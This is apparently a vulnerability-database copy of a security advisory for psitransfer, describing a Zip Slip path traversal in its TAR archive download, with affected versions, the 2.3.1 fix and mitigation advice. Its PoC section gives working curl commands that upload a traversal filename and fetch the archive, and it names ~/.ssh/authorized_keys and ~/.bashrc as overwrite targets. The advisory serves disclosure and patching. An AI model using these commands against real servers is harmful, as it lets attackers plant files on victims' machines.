PsiTransfer has Zip Slip Path Traversal via TAR Archive DownloadGHSA-xphh-5v4r-r3rx
HIGHFix: psi-4ward/psitransfer@6c71bc0GHSA-xphh-5v4r-r3rx is a high-severity (CVSS 8.1) remote code execution vulnerability in psitransfer. A fix is available for psitransfer — see the affected versions and patch details below.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
psitransfernpmDescription
Summary
A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. ../../../.ssh/authorized_keys). When a victim downloads the bucket as a .tar.gz archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.
Details
The vulnerability exists in the archive download functionality in lib/endpoints.js where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.
lib/endpoints.js:275
const entry = pack.entry({ name: info.metadata.name, size: info.size });
lib/endpoints.js:372
assert(meta.name, 'tus meta prop missing: name');
PoC
I. Upload file with malicious filename (no authentication required).
MALICIOUS_NAME=$(echo -n "../../../tmp/dp.txt" | base64)
SID=$(echo -n "evil" | base64)
RETENTION=$(echo -n "3600" | base64)
curl -X POST http://TARGET:3000/files \
-H "Tus-Resumable: 1.0.0" \
-H "Upload-Length: 15" \
-H "Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}"
II. Complete upload with PATCH
curl -X PATCH "http://TARGET:3000/files/evil++<UUID>" \
-H "Tus-Resumable: 1.0.0" \
-H "Upload-Offset: 0" \
-H "Content-Type: application/offset+octet-stream" \
-d "MALICIOUS_CONTENT"
III. Victim downloads and extracts TAR
curl "http://TARGET:3000/files/evil++<HASH>.tar.gz" -o files.tar.gz
tar -tzf files.tar.gz
Impact
Arbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive. RCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc... No Authentication Required: Default configuration has uploadPass: false. Social Engineering Vector: Attacker sends malicious download link to victim.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | psitransfer | all versions | 2.3.1npm install psitransfer@2.3.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for psitransfer, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update psitransfer to 2.3.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xphh-5v4r-r3rx is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is GHSA-xphh-5v4r-r3rx in your dependencies?
Find it across npm, including transitive dependencies.